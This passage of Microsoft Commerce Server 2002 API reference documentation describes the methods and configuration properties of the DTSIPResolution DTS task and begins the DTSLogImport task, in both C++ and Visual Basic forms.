DTSUPMCustomTask Object


_DTSIPResolution Methods [C++]

DTSIPResolution Methods [Visual Basic]

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSIPResolution::CustomTask_Execute Method [C++]

DTSIPResolution.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::PersistPropertyBag_Load Method [C++]

DTSIPResolution.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::PersistPropertyBag_Save Method [C++]

DTSIPResolution.PersistPropertyBag_Save Method[Visual Basic]

Use this method to save the Data Transformation Services (DTS)task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSIPResolution::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution Properties [C++]

DTSIPResolution Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | BSTR | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | The number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.
[Visual Basic]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | String | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | Long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | Long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | The number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | Long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.


_DTSIPResolution::get_BatchSize, put_BatchSize Property [C++]

DTSIPResolution.BatchSize Property [Visual Basic]

The BatchSize property is a read/write Long that specifies the number of IP addresses that will be transferred to your Domain Name Server (DNS) in a batch.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_BatchSize(
 long BatchSize
);

Put method:

HRESULT _DTSIPResolution::put_BatchSize(
 long BatchSize
);
[Visual Basic]
Property BatchSize() As Long

Parameters

BatchSize[C++]
[in] When putting the property, a long that specifies the number of IP addresses that will be transferred to your DNS in a batch.
[out, retval] When getting the property, a long that specifies the number of IP addresses that will be transferred to your DNS in a batch.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the BatchSize property is 500; the possible range is 10 to 99,999.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_LocalDomainName, put_LocalDomainName Property [C++]

DTSIPResolution.LocalDomainName Property [Visual Basic]

The LocalDomainName property is a read/write String that specifies the local domain name of the Domain Name Server (DNS) used as the primary server that resolves IP addresses.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_LocalDomainName(
 BSTR LocalDomainName
);

Put method:

HRESULT _DTSIPResolution::put_LocalDomainName(
 BSTR LocalDomainName
);
[Visual Basic]
Property LocalDomainName() As String

Parameters

LocalDomainName[C++]
[out, retval] When getting the value, this property contains a String that specifies the local domain name of the DNS used as the primary server that resolves IP addresses.
[in] When putting the value, this property contains a String that specifies the local domain name of the DNS used as the primary server that resolves IP addresses.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_Ncache, put_Ncache Property [C++]

DTSIPResolution.Ncache Property [Visual Basic]

The Ncache property is a read/write Long that specifies the number of days to store resolved IP addresses.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_Ncache(
 long Ncache
);

Put method:

HRESULT _DTSIPResolution::put_Ncache(
 long Ncache
);
[Visual Basic]
Property Ncache() As Long

Parameters

Ncache[C++]
[out, retval] When getting the property, a long that specifies the number of days to store resolved IP addresses.
[in] When putting the property, a long that specifies the number of days to store resolved IP addresses.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Valid values for the Ncache property are between 0 and 9999. The default value is 30 days. If you increase the default, IP resolution will occur more quickly. However, domain name changes may not be caught.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::NumRetries Property [C++]

DTSIPResolution.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made that will be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSIPResolution::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[out, retval] When getting the property, a long that specifies the number of retry attempts that will be made after a SQL connection/query failure.
[in] When putting the property, a long that specifies that number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_ProcessingType, put_ProcessingType Property [C++]

DTSIPResolution.ProcessingType Property [Visual Basic]

The ProcessingType property is a read/write Long that contains an enumeration that specifies the type of processing, which can be either full or incremental.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_ProcessingType(
 long ProcessingType
);

Put method:

HRESULT _DTSIPResolution::put_ProcessingType(
 long ProcessingType
);
[Visual Basic]
Property ProcessingType() As Long

Parameters

ProcessingType[C++]
[out,retval] When getting the property, a long that specifies the type of processing.
[in] When putting the property, a long that specifies the type of processing.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ProcessingType property is set to ptypeFull (0), the task will process the full load. If the ProcessingType property is set to ptypeIncremental (100), the task will process the load incrementally. The default value is ptypeFull (0).

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_RetryInterval, put_RetryInterval Property[C++]

DTSIPResolution.RetryInterval Property[Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSIPResolution::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_SourceName, put_SourceName

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.SourceName

DTSIPResolution.TimeOut


_DTSIPResolution::get_SourceName, put_SourceName Property[C++]

DTSIPResolution.SourceName Property [Visual Basic]

The SourceName property is a read/write String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSIPResolution::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the value, a BSTR that contains the name of the Web site or Data Warehouse for which this task is processing data.
[out,retval] When getting the value, a pointer to a BSTR that contains the name of the Web site or Data Warehouse for which this task is processing data.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_TimeOut, put_TimeOut

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.TimeOut


_DTSIPResolution::get_TimeOut, put_TimeOut Property[C++]

DTSIPResolution.TimeOut Property [Visual Basic]

The TimeOut property is a read/write Long that specifies the number of seconds the Domain Name Server (DNS) searches before an IP address is marked as unresolved.

Definition

[C++]

Get method:

HRESULT _DTSIPResolution::get_TimeOut(
 long TimeOut
);

Put method:

HRESULT _DTSIPResolution::put_TimeOut(
 long TimeOut
);
[Visual Basic]
Property TimeOut() As Long

Parameters

TimeOut[C++]
[out, retval] When getting the property, a long that specifies the number of seconds to search.
[in] When putting the property, a long that specifies the number of seconds to search.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The default value for the TimeOut property is 60 seconds. If you increase the default, you will resolve more IP addresses, but IP resolution will take longer.

See Also

Scripting the IP Resolution DTS Task

[C++]

_DTSIPResolution::get_BatchSize, put_BatchSize

_DTSIPResolution::CustomTask_Execute

_DTSIPResolution::get_LocalDomainName, put_LocalDomainName

_DTSIPResolution::get_Ncache, put_Ncache

_DTSIPResolution::NumRetries

_DTSIPResolution::PersistPropertyBag_Load

_DTSIPResolution::PersistPropertyBag_Save

_DTSIPResolution::get_ProcessingType, put_ProcessingType

_DTSIPResolution::get_RetryInterval, put_RetryInterval

_DTSIPResolution::get_SourceName, put_SourceName

[Visual Basic]

DTSIPResolution.BatchSize

DTSIPResolution.CustomTask_Execute

DTSIPResolution.LocalDomainName

DTSIPResolution.Ncache

DTSIPResolution.NumRetries

DTSIPResolution.PersistPropertyBag_Load

DTSIPResolution.PersistPropertyBag_Save

DTSIPResolution.ProcessingType

DTSIPResolution.RetryInterval

DTSIPResolution.SourceName


DTSLogImport Object [C++]

DTSLogImport Object [Visual Basic]

Use this object to define and import Web log files. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Web server log import DTS task, see Scripting the Web Server Log Import DTS Task.

ProgID: | Commerce.DTSLogImport (Externally creatable)
COM Class Name: | DTSLogImport
Type Library Name: | Microsoft Commerce 2002 Log Import DTS Task Type Library
DLL Name: | CSDWDTSLogImports.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSLogImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
EndTime | DATE | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | VARIANT_BOOL | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ReadInfoFromAdmin | VARIANT_BOOL | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | DATE | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | VARIANT | Specifies the log files to import. This property is read/write.
[Visual Basic]
Property | Type | Description
EndTime | Date | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | Boolean | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | Long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write
ReadInfoFromAdmin | Boolean | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | Long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | Date | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | Variant | Specifies the log files to import. This property is read/write.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSLogImport Methods [C++]

_DTSLogImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSLogImport::CustomTask_Execute Method [C++]

DTSLogImport.CustomTask_Execute Method [Visual Basic]

